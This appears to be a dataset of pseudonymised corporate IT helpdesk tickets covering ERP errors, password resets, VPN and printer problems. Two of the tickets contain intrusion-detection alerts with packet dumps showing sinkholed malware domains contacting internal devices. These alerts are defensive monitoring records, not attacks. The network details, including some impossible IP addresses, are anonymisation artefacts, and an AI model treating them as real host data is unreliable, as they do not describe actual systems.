summary:i am trying to find an expense report to approve. i have an email that says i have one to approve. it is not showing up., is assigned to Assignment group: GRP\_0.Ticket with Short description: crm app installation, Description: crm app installation, is assigned to Assignment group: GRP\_0.Ticket with Short description: cannot connect to \\HostName\_779\engineering\_application going through company vpn. i can access HostName\_770, HostName\_768 and HostName\_776., Description: cannot connect to \\HostName\_779\engineering\_application going through company vpn. i can access HostName\_770, HostName\_768 and HostName\_776 servers through the vpn. i can access HostName\_779 at the office. i can not access remotely through vpn.company.com., is assigned to Assignment group: GRP\_12.Ticket with Short description: unable to install crm app on galaxy s3 , Description: user has a samsung galaxy s3 device with android 4.3 as the os on it. he wants to install and use the dynamics crm app but that app requires android 4.4 as a minimum. , is assigned to Assignment group: GRP\_63.Ticket with Short description: ticket update on inplant\_861679, Description: ticket update on inplant\_861679, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp vc - configair application in SID\_1 uacyltoe hxgaycze environment not working - 500 internal server error, Description: configair server in uacyltoe hxgaycze environment SID\_1 responds with 500 internal server error: Â Â error: while trying to invoke the method java.util.list.iterator() of a null object loaded from local variable 'locallist' \_x000D\_
this happens when i log on erp with language "de" german. it is happening for both models csscdrill and mill\_model.\_x000D\_
in case i log on erp in en language the csscdrill model is working fine. but the mill\_model model comes up and when i select a product platform the system hangs up at 90%., is assigned to Assignment group: GRP\_14.Ticket with Short description: HostName\_986: application "plm scheduled tasks monitor" on node "HostName\_986" is in a critical state , Description: HostName\_986: application "plm scheduled tasks monitor" on node "HostName\_986" is in a critical state , is assigned to Assignment group: GRP\_14.Ticket with Short description: password reset, Description: password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: EU\_tool issue, Description: EU\_tool is having issue since we i upgraded to 64 bit. keeps saying out of memory
phone: , is assigned to Assignment group: GRP\_25.Ticket with Short description: need to upgrade ie 11, Description: could you please confirm if this upgrade occurred? i was out of town during the week of the upgrade and was never prompted for anything, so i suspect that this didn't happen. if so, i'll need to schedule an upgrade for this computer please., is assigned to Assignment group: GRP\_0.Ticket with Short description: sometimes ship to address is changed from the system , Description: examples \_x000D\_
5616762610\_x000D\_
4505623480\_x000D\_
5616737367\_x000D\_
4505646259\_x000D\_
problem as discussed in key user call from 09/21, is assigned to Assignment group: GRP\_29.Ticket with Short description: job Job\_1394 failed in job\_scheduler at: 09/22/2016 10:55:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1394 failed in job\_scheduler at: 09/22/2016 10:55:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: engineering\_tool issue high importance, Description: \_x000D\_
\_x000D\_
received from: xkegcqov.drctxjqi@gmail.com\_x000D\_
\_x000D\_
[cid:image001.png@01SID\_354be.f00aff40]\_x000D\_
\_x000D\_
\_x000D\_
i submitted several reports a couple of days ago and now it will not let me create a new report?\_x000D\_
need this issue resplved.\_x000D\_
, is assigned to Assignment group: GRP\_25.Ticket with Short description: ticket update on inplant\_862933, Description: ticket update on inplant\_862933, is assigned to Assignment group: GRP\_0.Ticket with Short description: need access to user's collaboration\_platform, Description: need access to user's collaboration\_platform\_x000D\_
\_x000D\_
\_x000D\_
summary:cowqyjzm fzsxgapt has informed me that stefyty smhdyhtis collaboration\_platform for business will be permanently deleted in 7 days. i need access to his collaboration\_platform to see if there is any information on their that we need. , is assigned to Assignment group: GRP\_16.Ticket with Short description: erp pur - wrong subcontracting demand for mm 3784477, Description: hello,\_x000D\_
material 4895588 shows 2 pieces demand in plant\_283 for parent mm 7236071 which refers to subcontracting po 5616525187.\_x000D\_
the po has been closed already. the component had been shipped to the vendor with a 541 movement and has been booked out with the 543 movement together with the 101 movement for the good receipt. \_x000D\_
why shows erp still a demand of 2 pieces for that po?\_x000D\_
how can this "wrong" demand been cleaned?\_x000D\_
, is assigned to Assignment group: GRP\_29.Ticket with Short description: cannot access collaboration\_platform, Description: i can't access my collaboration\_platform. it asks me my username and password and then goes into a constant loop of those two fields. once entered, i never actually get to collaboration\_platform. , is assigned to Assignment group: GRP\_0.Ticket with Short description: vitalyst // unable to see customer list in crm, Description: vitalyst // unable to see customer list in crm. see attached screenshot
user id - lehhywsmat
contact no - , is assigned to Assignment group: GRP\_22.Ticket with Short description: account locked, Description: ic
welcome, our next available agent will be with you shortly...
interaction alerting agent.
website visitor has joined the conversation
rbozivdq gmlhrtvp
hi jonnht
bnoupaki cpeioxdz
hello
rbozivdq gmlhrtvp
it's not showing as locked
can you tell me what's the error you're getting?
bnoupaki cpeioxdz
now i can log in. not sure why i was temporarily unable to do so. all seems to be ok. , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp netweaver error, Description:
received from: unrbafjx.reyshakw@gmail.com
hello,
i have this error when starting erp netweaver, can you please help to solve ?
[cid:image001.png@01SID\_354ed.42570791]
[cid:image002.png@01SID\_354ed.42570791]
unrbafjx reyshakw
global portfolio manager
advanced materials / pcd
, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset - erp SID\_34, Description: reset the erp SID\_34 password as marcel had issues logging in after resetting his password using password\_management\_tool., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to home printer , Description: unable to connect to home printer , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account unlock, Description: erp SID\_34 account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: PR, Description: create a purchase requisition with purchasing does not work any more. i got following error massage :\_x000D\_
\_x000D\_
action could not be performed \_x000D\_
no data found for employee 00000etc inform system administrator , is assigned to Assignment group: GRP\_29.Ticket with Short description: security incidents - ( #in33944691 ) : possible malware infection - traffic from sinkhole domain to tims-iphone, Description: source ip: 195.272.28.222
source port: 80
source ip geolocation: lisbon, prt
destination ip: 10.201.40.86
destination hostname: tims-iphone
system name :not found
user name:not found
location :usa
sep , sms status :not found
field sales user ( yes / no) : no
dsw event log:see below
=========================
event data
=========================
related events:
event id: 416678855
event summary: 52151 vid36000 server response with anubis sinkhole cookie set - probable infected asset
occurrence count: 4
event count: 2
host and connection information
source ip: 195.272.28.222
source port: 80
source ip geolocation: lisbon, prt
destination ip: 10.201.40.86
destination hostname: tims-iphone
destination port: 50867
destination mac address: 4c:7c:5f:36:97:8d
connection directionality: incoming
protocol: tcp
http status code: 302
device information
device ip: 10.32.100.17
device name: isensor03.company.com
log time: 2016-09-22 at 10:40:17 utc
action: not blocked
vendor eventid: 727755
cvss score: -1
vendor priority: 2
vendor version: 7
scwx event processing information
sherlock rule id (sle): 699417
inspector event id: 072629004
ontology id: 200020003203755736
event type id: 200020003203582148
agent id: 102805
event detail:
[\*\*] [1:21163262:2] 52151 vid36000 server response with anubis sinkhole cookie set - probable infected asset [\*\*]
[classification: none] [priority: 2] [action: accept] [impact\_flag: 0] [impact: 0] [blocked: 0] [vlan: 0] [mpls label: 0] [pad2: 1]
[sensor id: 602982][event id: 727755][time: 2585651928.978762]
[src ip: 195.22.28.222][dst ip: 10.20.40.86][sport/itype: 80][dport/icode: 50867][proto: 6]
09/22/2016-10:40:17.978762 195.22.28.222:80 -> 10.20.40.86:50867
tcp ttl:55 tos:0x0 id:35970 iplen:20 dgmlen:390 df
\*\*\*ap\*\*\* seq: 0x67a1bbf6 ack: 0x8043a3dc win: 0x35 tcplen: 32
tcp options (3) => nop nop ts: 4914239511 340005971
==pcap 1==
[o:security]
[correlation\_data]
sep 22 06:32:17 27.38.93.278 dhcpd[27069]: dhcpack on 10.20.40.86 to 4c:7c:5f:36:97:8d (tims-iphone) via eth1 relay 62.61.65.018 lease-duration 432000 (renew)
ascii packet(s):
==pcap 1 ascii s==
.......wj...........e.....@.7.........(v.p..g....c.....5au........"p.n..http/1.1.302.moved.temporarily..server:.nginx..date:.thu,.22.sep.2016.10:40:18.gmt..content-type:.text/html..connection:.close..set-cookie:.anbtr=c3613dd3017c909140052247b5cfac27;.domain=.myslidz.com..location:.
==pcap 1 ascii e==
hex packet(s):
==pcap 1 hex s==
000000 0c00 0000 11b5 e357 4aef 0e00 8601 0000 .......wj.......
000010 8601 0000 4500 0186 8c82 4000 3706 a391 ....e.....@.7...
000020 c316 1cde 0a14 2856 0050 c6b3 67a1 bbf6 ......(v.p..g...
000030 8043 a3dc 8018 0035 6155 0000 0101 080a .c.....5au......
000040 e2af 2250 0e4e 07ec 4854 5450 2f31 2e31 .."p.n..http/1.1
000050 2033 3032 204d 6f76 6564 2054 656d 706f .302.moved.tempo
000060 7261 7269 6c79 0d0a 5365 7276 6572 3a20 rarily..server:.
000070 6e67 696e 780d 0a44 6174 653a 2054 6875 nginx..date:.thu
000080 2c20 3232 2053 6570 2032 3031 3620 3130 ,.22.sep.2016.10
000090 3a34 303a 3138 2047 4d54 0d0a 436f 6e74 :40:18.gmt..cont
0000a0 656e 742d 5479 7065 3a20 7465 7874 2f68 ent-type:.text/h
0000b0 746d 6c0d 0a43 6f6e 6e65 6374 696f 6e3a tml..connection:
0000c0 2063 6c6f 7365 0d0a 5365 742d 436f 6f6b .close..set-cook
0000d0 6965 3a20 616e 6274 723d 6333 3631 3364 ie:.anbtr=c3613d
0000e0 6433 3031 3763 3738 3739 3238 3833 3031 d3017c9091400522
0000f0 3437 6235 6366 6163 3237 3b20 646f 6SID\_26 47b5cfac27;.doma
000100 696e 3d2e 6d79 736c 6964 7a2e 636f 6d0d in=.myslidz.com.
000110 0a4c 6f63 6174 696f 6e3a 2068 7474 703a .location:.http:
000120 2f2f 7873 736f 2e61 7069 2e6d 7973 6c69 //xsso.api.mysli
000130 647a 2e63 6f6d 2f63 3336 3133 6464 3330 dz.com/c3613dd30
000140 3137 6337 3837 3932 3838 3330 3134 3762 17c909140052247b
000150 3563 6661 6332 370d 0a0d 0a47 6f20 6874 5cfac27....go.ht
000160 7470 3a2f 2f78 7373 6f2e 6170 692e 6d79 tp://xsso.api.my
000170 736c 6964 7a2e 636f 6d2f 6333 3631 3364 slidz.com/c3613d
000180 6433 3031 3763 3738 3739 3238 3833 3031 d3017c9091400522
000190 3437 6235 6366 6163 3237 47b5cfac27
==pcap 1 hex e==
event id: 416678840
event summary: 52151 vid36000 server response with anubis sinkhole cookie set - probable infected asset
occurrence count: 4
event count: 2
host and connection information
source ip: 195.22.26.248
source hostname: 248.192/26.26.22.195.in-addr.arpa.
anubisnetworks.com.
source port: 80
source ip geolocation: lisbon, prt
destination ip: 10.20.40.86
destination hostname: tims-iphone
destination port: 50867
destination mac address: 4c:7c:5f:36:97:8d
connection directionality: incoming
protocol: tcp
http status code: 302
device information
device ip: 10.32.100.17
device name: isensor03.company.com
log time: 2016-09-22 at 10:40:17 utc
action: not blocked
vendor eventid: 727755
cvss score: -1
vendor priority: 2
vendor version: 7
scwx event processing information
sherlock rule id (sle): 699417
inspector event id: 072629004
ontology id: 200020003203755736
event type id: 200020003203582148
agent id: 102805
event detail:
[\*\*] [1:21163262:2] 52151 vid36000 server response with anubis sinkhole cookie set - probable infected asset [\*\*]
[classification: none] [priority: 2] [action: accept] [impact\_flag: 0] [impact: 0] [blocked: 0] [vlan: 0] [mpls label: 0] [pad2: 1]
[sensor id: 602982][event id: 597040][time: 2585651929.453577]
[src ip: 195.22.26.248][dst ip: 10.20.40.86][sport/itype: 80][dport/icode: 50873][proto: 6]
09/22/2016-10:40:18.453577 195.22.26.248:80 -> 10.20.40.86:50873
tcp ttl:55 tos:0x0 id:48955 iplen:20 dgmlen:284 df
\*\*\*ap\*\*\* seq: 0x4abba086 ack: 0xf5079dce win: 0x35 tcplen: 32
tcp options (3) => nop nop ts: 4914239629 340006418
==pcap 1==
[o:security]
[correlation\_data]
sep 22 06:32:17 27.38.93.278 dhcpd[27069]: dhcpack on 10.20.40.86 to 4c:7c:5f:36:97:8d (tims-iphone) via eth1 relay 62.61.65.018 lease-duration 432000 (renew)
ascii packet(s):
==pcap 1 ascii s==
.......w............e....;@.7.s(......(v.p..j..........5r........."..n..http/1.1.200.ok..server:.nginx..date:.thu,.22.sep.2016.10:40:18.gmt..content-type:.text/html..connection:.close..set-cookie:.anbtr=c3613dd3017c909140052247b5cfac27;.domain=.myslidz.com..content-encoding:.gzip........................
==pcap 1 ascii e==
hex packet(s):
==pcap 1 hex s==
000000 0c00 0000 12b5 e357 c9eb 0600 1c01 0000 .......w........
000010 1c01 0000 4500 011c bf3b 4000 3706 7328 ....e....;@.7.s(
000020 c316 1af8 0a14 2856 0050 c6b9 4abb a086 ......(v.p..j...
000030 f507 9dce 8018 0035 729f 0000 0101 080a .......5r.......
000040 e2af 22c6 0e4e 09ab 4854 5450 2f31 2e31 .."..n..http/1.1
000050 2032 3030 204f 4b0d 0a53 6572 7665 723a .200.ok..server:
000060 206e 6769 6e78 0d0a 4461 7465 3a20 5468 .nginx..date:.th
000070 752c 2032 3220 5365 7020 3230 3136 2031 u,.22.sep.2016.1
000080 303a 3430 3a31 3820 474d 540d 0a43 6f6e 0:40:18.gmt..con
000090 7465 6e74 2d54 7970 653a 2074 6578 742f tent-type:.text/
0000a0 6874 6d6c 0d0a 436f 6e6e 6563 7469 6f6e html..connection
0000b0 3a20 636c 6f73 650d 0a53 6574 2d43 6f6f :.close..set-coo
0000c0 6b69 653a 2061 6e62 7472 3d63 3336 3133 kie:.anbtr=c3613
0000d0 6464 3330 3137 6337 3837 3932 3838 3330 dd3017c898039941
0000e0 3134 3762 3563 6661 6332 373b 2064 6f6d 147b5cfac27;.dom
0000f0 6169 6e3d 2e6d 7973 6c69 647a 2e63 6f6d ain=.myslidz.com
000100 0d0a 436f 6e74 656e 742d 456e 636f 6469 ..content-encodi
000110 6e67 3a20 677a 6970 0d0a 0d0a 1f8b 0800 ng:.gzip........
000120 0000 0000 0003 0300 0000 0000 0000 0000 ................
==pcap 1 hex e==, is assigned to Assignment group: GRP\_2.Ticket with Short description: ship-to # 81051078 + 81053823 created in distributor\_tool / not visible in ecc, Description: i have created a new ship-to # 81053823 for the sold-to # 81543703 via distributor\_tool.\_x000D\_
this ship-to can't be found either in ecc nor in distributor\_tool. \_x000D\_
you can only see that it actually exists in crm. \_x000D\_
same situation as with ship-to # 81051078.\_x000D\_
\_x000D\_
all the data are complete in crm and the system does not show any errors. but for some reason, these ship-to's are not transferred into ecc.\_x000D\_
could you please look at that?\_x000D\_
, is assigned to Assignment group: GRP\_15.Ticket with Short description: security incidents - ( #in33944327) :possible malware infection - traffic from sinkhole domain to ekxl7000016, Description: source ip :\_x000D\_
system name :\_x000D\_
user name:\_x000D\_
location :\_x000D\_
sep , sms status :\_x000D\_
field sales user ( yes / no) : \_x000D\_
dsw event log:\_x000D\_
=========================\_x000D\_
event data\_x000D\_
=========================\_x000D\_
related events: \_x000D\_
event id: 5286271\_x000D\_
event summary: 52151 vid36000 server response with anubis sinkhole cookie set - probable infected asset\_x000D\_
occurrence count: 3\_x000D\_
event count: 1\_x000D\_
\_x000D\_
host and connection information\_x000D\_
source ip: 195.22.26.248\_x000D\_
source hostname: 248.192/26.26.22.195.in-addr.arpa.\_x000D\_
anubisnetworks.com.\_x000D\_
source port: 80\_x000D\_
source ip geolocation: lisbon, prt\_x000D\_
destination ip: 08.79.36.8523\_x000D\_
destination hostname: ekxl8111127 \_x000D\_
destination port: 50049\_x000D\_
destination mac address: 3c:a9:f4:22:ba:ec\_x000D\_
connection directionality: incoming\_x000D\_
protocol: tcp\_x000D\_
http status code: 200\_x000D\_
\_x000D\_
device information\_x000D\_
device ip: 10.16.4.16\_x000D\_
device name: isensor04.company.com\_x000D\_
log time: 2016-09-22 at 09:35:51 utc\_x000D\_
action: not blocked\_x000D\_
vendor eventid: 590716\_x000D\_
cvss score: -1 \_x000D\_
vendor priority: 2\_x000D\_
vendor version: 7\_x000D\_
\_x000D\_
scwx event processing information\_x000D\_
sherlock rule id (sle): 699417\_x000D\_
inspector event id: 638402921\_x000D\_
ontology id: 200020003203755736\_x000D\_
event type id: 200020003203582148\_x000D\_
agent id: 102823\_x000D\_
\_x000D\_
event detail:\_x000D\_
[\*\*] [1:21163262:2] 52151 vid36000 server response with anubis sinkhole cookie set - probable infected asset [\*\*]\_x000D\_
[classification: none] [priority: 2] [action: accept] [impact\_flag: 0] [impact: 0] [blocked: 0] [vlan: 0] [mpls label: 0] [pad2: 1]\_x000D\_
[sensor id: 602983][event id: 590716][time: 2585647062.510177]\_x000D\_
[src ip: 195.22.26.248][dst ip: 08.79.36.8523][sport/itype: 80][dport/icode: 50049][proto: 6]\_x000D\_
09/22/2016-09:35:51.510177 195.22.26.248:80 -> 08.79.36.8523:50049\_x000D\_
tcp ttl:55 tos:0x0 id:21540 iplen:20 dgmlen:279 df\_x000D\_
\*\*\*ap\*\*f seq: 0xf7ae9448 ack: 0x5dd9d0de win: 0x68b0 tcplen: 20\_x000D\_
==pcap 1==\_x000D\_
\_x000D\_
[o:security]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 22 04:02:00 60.43.89.120 dhcpd[23598]: dhcpack on 08.79.36.8523 to 3c:a9:f4:22:ba:ec (ekxl8111127) via eth2 relay 97.65.25.820 lease-duration 604729 (renew)\_x000D\_
\_x000D\_
ascii packet(s):\_x000D\_
==pcap 1 ascii s==\_x000D\_
.......w............e...t$@.7............p.....h]...p.h.....http/1.1.200.ok..server:.nginx..date:.thu,.22.sep.2016.09:35:51.gmt..content-type:.text/html..connection:.close..set-cookie:.anbtr=f34d5b1ccc2b299beffaf2b6227b7a09;.domain=.space-ambiance.com..content-encoding:.gzip........................\_x000D\_
==pcap 1 ascii e==\_x000D\_
\_x000D\_
hex packet(s):\_x000D\_
==pcap 1 hex s==\_x000D\_
000000 0c00 0000 f7a5 e357 e1c8 0700 1701 0000 .......w........\_x000D\_
000010 1701 0000 4500 0117 5424 4000 3706 f5ab ....e...t$@.7...\_x000D\_
000020 c316 1af8 0a10 10f3 0050 c381 f7ae 9448 .........p.....h\_x000D\_
000030 5dd9 d0de 5019 68b0 171f 0000 4854 5450 ]...p.h.....http\_x000D\_
000040 2f31 2e31 2032 3030 204f 4b0d 0a53 6572 /1.1.200.ok..ser\_x000D\_
000050 7665 723a 206e 6769 6e78 0d0a 4461 7465 ver:.nginx..date\_x000D\_
000060 3a20 5468 752c 2032 3220 5365 7020 3230 :.thu,.22.sep.20\_x000D\_
000070 3136 2030 393a 3335 3a35 3120 474d 540d 16.09:35:51.gmt.\_x000D\_
000080 0a43 6f6e 7465 6e74 2d54 7970 653a 2074 .content-type:.t\_x000D\_
000090 6578 742f 6874 6d6c 0d0a 436f 6e6e 6563 ext/html..connec\_x000D\_
0000a0 7469 6f6e 3a20 636c 6f73 650d 0a53 6574 tion:.close..set\_x000D\_
0000b0 2d43 6f6f 6b69 653a 2061 6e62 7472 3d66 -cookie:.anbtr=f\_x000D\_
0000c0 3334 6435 6231 6363 6332 6232 3939 6265 34d5b1ccc2b299be\_x000D\_
0000d0 6666 6166 3262 3632 3237 6237 6130 393b ffaf2b6227b7a09;\_x000D\_
0000e0 2064 6f6d 6169 6e3d 2e73 7061 6365 2SID\_26 .domain=.space-a\_x000D\_
0000f0 6d62 6961 6e63 652e 636f 6d0d 0a43 6f6e mbiance.com..con\_x000D\_
000100 7465 6e74 2d45 6e63 6f64 696e 673a 2067 tent-encoding:.g\_x000D\_
000110 7a69 700d 0a0d 0a1f 8b08 0000 0000 0000 zip.............\_x000D\_
000120 0303 0000 0000 0000 0000 00 ...........\_x000D\_
==pcap 1 hex e==, is assigned to Assignment group: GRP\_2.Ticket with Short description: unable to create delivery, Description: please provide the following:\_x000D\_
\_x000D\_
what order number? 1135889479/000020\_x000D\_
5018083720/00001\_x000D\_
\_x000D\_
what material or item number? 7133965\_x000D\_
\_x000D\_
what warehouse location? \_x000D\_
plant\_108 to plant\_283\_x000D\_
\_x000D\_
issue description / error message? no message, is assigned to Assignment group: GRP\_6.Ticket with Short description: 9047883335 - sales inwarehouse\_tool rejected as the banking details are not printed, Description: the footer with banking details has not printed on inwarehouse\_tool 0158994446, the customer has rejected this inwarehouse\_tool until the footer details are corrected., is assigned to Assignment group: GRP\_13.Ticket with Short description: unable to detect the dell usb adapter, Description: unable to detect the dell usb adapter\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: india high latency, Description: india high latency, is assigned to Assignment group: GRP\_4.Ticket with Short description: analysis add-in getting disabled, Description: analysis add-in getting disabled, is assigned to Assignment group: GRP\_0.Ticket with Short description: lcowx216132, Description:
received from: zwirhcol.narzlmfw@gmail.com
computer has lost connectivity to the network
j. shrugott tyhuellis
usa facilities mgr.
zwirhcol.narzlmfw@gmail.com<mailto:zwirhcol.narzlmfw@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: lcow7404551, Description:
received from: zwirhcol.narzlmfw@gmail.com
computer has partial connectivity to network. cannot get to all drives needed
j. shrugott tyhuellis
usa facilities mgr.
zwirhcol.narzlmfw@gmail.com<mailto:zwirhcol.narzlmfw@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: clad qc computer is moving to a new location, Description: this computer is moving to a new location, the new setup needs to be completed so production is not interrupted.\_x000D\_
note: shrugott tyhuellis may or may not have entered a ticket for this move., is assigned to Assignment group: GRP\_3.Ticket with Short description: clad qc computer cannot access the erp, shop\_floor\_app and shared files to do his work, , Description: brgtyad ahdwqrson is the operator in this area, his work is at a standstill which also affects subsequent operations - nearing end of month the product needs to move and computer work needs to be complete, is assigned to Assignment group: GRP\_3.Ticket with Short description: gthxezqp ainuhbmk desk is moving, cables need run to new location and service needs to be restored in new location, Description: in the next week the operators control desk is moving to make room for other equipment. this computer setup has 7-computers, 6 of which are connected to the furnace operations for monitoring by operators in the area. the table needs to physically move and the cables need to be re-activated in the new location. the other computer in this area is connected to shop\_floor\_app and shared files for the operators to access their work files - all of this must work in the new location., is assigned to Assignment group: GRP\_3.Ticket with Short description: the computer in my office needs access to the o-drive for "rolling data", Description: this is a location for the access database for our rolling information, currently i need to interrupt their data entry to extract information for a project - also the database stopped calculating the density number, can you fix this? my limited experience with access doesn't help me fix this problem.
looks like the path is \\lan-d2 rolling
-contact :, is assigned to Assignment group: GRP\_12.Ticket with Short description: auflÃ¶sung am bildschirm von pc eemw 8143337 sehr schlecht. Ã¤nderungen werden nicht Ã¼bernommen. , Description: auflÃ¶sung am bildschirm von pc eemw 8143337 sehr schlecht. Ã¤nderungen werden nicht Ã¼bernommen. , is assigned to Assignment group: GRP\_42.Ticket with Short description: engineering\_tool log in problem, Description:
received from: amrthruta.kadgdyam@company.com
hello team,
please check the below error i am getting during logging in for engineering\_tool. i have changed my laptop. its details are as follows:
computer name
service tag
model name
aiul8912144
dvzlq12
latitude e5440
username: kadjuwqama
earlier i was using engineering\_tool with the below laptop and username:
username: kadjuwqama
laptop name: awyl8911781
errors during engineering\_tool login are as mentioned below.
same error i get during company engineering\_tool log in. please do the needful.
[description: cid:image001.png@01SID\_354e5.4e972400]
, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset the password for rlhuwmve krcfhoxj on erp / qa / erp, Description: please reset petrghada's SID\_1 password as soon as possible., is assigned to Assignment group: GRP\_0.Ticket with Short description: laptop will not start up while docked, blue power light on the lights up briefly then goes off., Description: laptop will not start up while docked, blue power light on the lights up briefly then goes off., is assigned to Assignment group: GRP\_3.Ticket with Short description: business\_client error during log in, Description: \_x000D\_
\_x000D\_
received from: amrthruta.kadgdyam@company.com\_x000D\_
\_x000D\_
hello team,\_x000D\_
\_x000D\_
please check the below error i am getting during logging in business\_client.\_x000D\_
\_x000D\_
[cid:image001.jpg@01SID\_354fa.b03a3570]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: bluetooth headset bekommt keine verbindung mit pc - assign to qdxyifhj zbwtunpy germany, Description: bluetooth headset bekommt keine verbindung mit pc, is assigned to Assignment group: GRP\_33.Ticket with Short description: unable to open outlook, Description: unable to open outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: printer problem / issue information, Description: please complete all required questions below. \_x000D\_
if not, it will be returned back to the gsc / requester to provide required information\_x000D\_
\_x000D\_
\_x000D\_
â€¢ printer name / make - model? (wy-27) \_x000D\_
\_x000D\_
â€¢ detailed description of the problem ? wy-27 printer to be added to my pc\_x000D\_
\_x000D\_
â€¢ type of documents not printing? (email â€“ excel â€“ wordâ€¦etc) \_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: need reset password erp SID\_1 system, Description: need reset password erp SID\_1 system, is assigned to Assignment group: GRP\_2.Ticket with Short description: job Job\_1132 failed in job\_scheduler at: 09/22/2016 08:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1132 failed in job\_scheduler at: 09/22/2016 08:00:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: to add a new employee to distribution lists, Description:
received from: bmudkpie.qolrvbip@gmail.com
hello,
1. please add new csr wkgpcxqd vobarhzk (wkgpcxqd.vobarhzk@gmail.com<mailto:wkgpcxqd.vobarhzk@gmail.com> ) to following distribution lists:
distributors.service@company.com<mailto:distributors.service@company.com> (email bucket 3 company csr in poland are shatryung)
company-sales-team company-sales-team@company.com<mailto:company-sales-team@company.com>
company-promotion-emea company-promotion-emea@company.com<mailto:company-promotion-emea@company.com>
2. to add esguiazn pqdjtzin (malgorzata.gugala@company.com<mailto:malgorzata.gugala@company.com>) to
bucket email@wpgmkt.com<mailto:email@wpgmkt.com> & company-promotion-emea@company.com<mailto:company-promotion-emea@company.com>
3. xhnmygfp bnpehyku (joanna.pollaurid@company.com<mailto:joanna.pollaurid@company.com> ) to
company-promotion-emea company-promotion-emea@company.com<mailto:company-promotion-emea@company.com>
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: see attachment, Description: see attachment
contact : (uk), is assigned to Assignment group: GRP\_0.Ticket with Short description: when i call the germany office with telephony\_software the can't hear me., Description: when i call the germany office with telephony\_software the can't hear me but i can hear them. this happended twice today (last interaction id 2175600354) but also some weeks ago.\_x000D\_
i have no problems when i call other people inside and outside the company., is assigned to Assignment group: GRP\_7.Ticket with Short description: blocked inwarehouse\_tool for 5205 9048054513, Description: blocked inwarehouse\_tool in our system. reason for blocking "document 0159165624 has been saved (foreign trade data incomplete) ". (same as ticket\_no1551982). \_x000D\_
after first analysis, infos were available in mm 03 for concerned materials. we know how to fix the issue, but before completing the document, please provide information or make further analysis in order to avoid this issue in the futur., is assigned to Assignment group: GRP\_13.Ticket with Short description: videos won't play in skirtylport training, Description:
received from: vkzwafuh.tcjnuswg@gmail.com
hi,
i am trying to take a training course and when i start the course the videos won't play. please advise.
vkzwafuh tcjnuswg - cmp
sr. application eng.
vkzwafuh.tcjnuswg@gmail.com
, is assigned to Assignment group: GRP\_0.Ticket with Short description: bitte konto erzeugen. ewew7212768, Description: optiplex 5040
messmachine
berirtch : zedghkler, is assigned to Assignment group: GRP\_12.Ticket with Short description: unable to access SID\_1 , Description: \_x000D\_
\_x000D\_
received from: rxoynvgi.ntgdsehl@gmail.com\_x000D\_
\_x000D\_
hi it team\_x000D\_
\_x000D\_
kindly please assist as i unable to access SID\_1 in my system.\_x000D\_
\_x000D\_
attached for your reference. , is assigned to Assignment group: GRP\_0.Ticket with Short description: reset the password for bwgldaoe aczyfqjr on erp / qa / erp, Description: please reset my password in erp SID\_1 erp uacyltoe hxgaycze system.. , is assigned to Assignment group: GRP\_0.Ticket with Short description: not able to login to beyond evolution campaign reporting\_engineering\_tool , Description: not able to login to beyond evolution campaign reporting\_engineering\_tool - #/site/certified\_content, is assigned to Assignment group: GRP\_9.Ticket with Short description: business\_client issue, Description: \_x000D\_
\_x000D\_
received from: lvxakohq.tsfnhowj@gmail.com\_x000D\_
\_x000D\_
hello\_x000D\_
\_x000D\_
i am not able to log on to business\_client soft ware in my laptop.\_x000D\_
\_x000D\_
pl do needful on priority.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
with kind , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp hrp hcm account lockout, Description: erp hrp hcm account lockout, is assigned to Assignment group: GRP\_0.Ticket with Short description: probleme mit erpgui \jionmpsf wnkpzcmv, Description: probleme mit erpgui \jionmpsf wnkpzcmv, is assigned to Assignment group: GRP\_24.Ticket with Short description: pc empw 8144239 neu aufsetzen, Description: pc empw 8144239 neu aufsetzen, is assigned to Assignment group: GRP\_33.Ticket with Short description: not able to create dc, Description: \_x000D\_
\_x000D\_
received from: rgtarthi.erjgypa@company.com\_x000D\_
\_x000D\_
hello help,\_x000D\_
\_x000D\_
we are unable to create delivery challan due to below error.\_x000D\_
\_x000D\_
[cid:image004.png@01SID\_354e4.45837db0]\_x000D\_
\_x000D\_
[cid:image001.png@01SID\_354e2.2aad98b0]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: job Job\_593 failed in job\_scheduler at: 09/22/2016 05:24:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_593 failed in job\_scheduler at: 09/22/2016 05:24:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: id04 printer not working at company, Description: id04 printer not working at company, is assigned to Assignment group: GRP\_19.Ticket with Short description: konto gesperrt \ handy wlan authentifizierungsproblem, Description: konto gesperrt \ handy wlan authentifizierungsproblem, is assigned to Assignment group: GRP\_24.Ticket with Short description: access point defekt .\jxphgfmb gjbtuwek, Description: access point defekt .\jxphgfmb gjbtuwek, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit outlook \kwehgxts agdsqbwv, Description: hallo ,\_x000D\_
\_x000D\_
ich mÃ¶chte gerne das in der suche auch meine telefon-nr. erscheint\_x000D\_
